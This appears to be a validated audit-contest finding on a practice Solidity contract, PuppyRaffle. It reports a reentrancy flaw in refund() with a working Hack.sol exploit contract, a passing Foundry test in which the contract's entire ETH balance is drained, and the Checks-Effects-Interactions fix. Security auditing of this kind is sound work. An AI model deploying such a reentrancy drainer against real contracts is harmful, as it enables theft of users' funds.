Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Attacker can drain the contract using reentrancy

Summary

Reentrancy attack is possible in the refund function.

Vulnerability Details

The refund function does not follow CEI and is vulnerable to reentrancy attack.

Impact

Attacker can drain all the eth in the smart contract.

Tools Used

Manual Review, Foundry

Proof of Concept

  1. Created Hack.sol

pragma solidity ^0.7.6;
import {PuppyRaffle} from "./PuppyRaffle.sol";
contract Hack {
uint256 entranceFee;
uint256 playerIndex;
address owner;
PuppyRaffle puppyRaffle;
constructor(address _puppyRaffle) {
owner = msg.sender;
puppyRaffle = PuppyRaffle(_puppyRaffle);
}
function attack() external payable {
entranceFee = puppyRaffle.entranceFee();
address[] memory players = new address[](1);
players[0] = address(this);
puppyRaffle.enterRaffle{value: msg.value}(players);
playerIndex = puppyRaffle.getActivePlayerIndex(address(this));
puppyRaffle.refund(playerIndex);
(bool success, ) = payable(owner).call{value: address(this).balance}("");
require(success, "attack failed");
}
receive() external payable {
if (address(puppyRaffle).balance >= entranceFee) {
puppyRaffle.refund(playerIndex);
}
}
}
  1. Added test case

function testCanReenterWhenRefund() public playerEntered {
// Some players entered the raffle befor the attack
address[] memory players = new address[](2);
players[0] = playerTwo;
players[1] = playerThree;
puppyRaffle.enterRaffle{value: entranceFee * 2}(players);
assertEq(address(puppyRaffle).balance, 3e18);
// Execute the attack
address attacker = address(10);
vm.prank(attacker);
Hack hack = new Hack(address(puppyRaffle));
hack.attack{value: entranceFee}();
// Validate the attack
assertEq(address(puppyRaffle).balance, 0);
assertEq(attacker.balance, 4e18);
}
[PASS] testCanReenterWhenRefund() (gas: 518079)

Recommendations

Follow the CEI pattern. Make the following change:

+ players[playerIndex] = address(0);
payable(msg.sender).sendValue(entranceFee); // @audit-info potential reentrancy
- players[playerIndex] = address(0);
[FAIL. Reason: Address: unable to send value, recipient may have reverted] testCanReenterWhenRefund() (gas: 500466)
Updates

Lead Judging Commences

Hamiltonite Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

reentrancy-in-refund

reentrancy in refund() function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!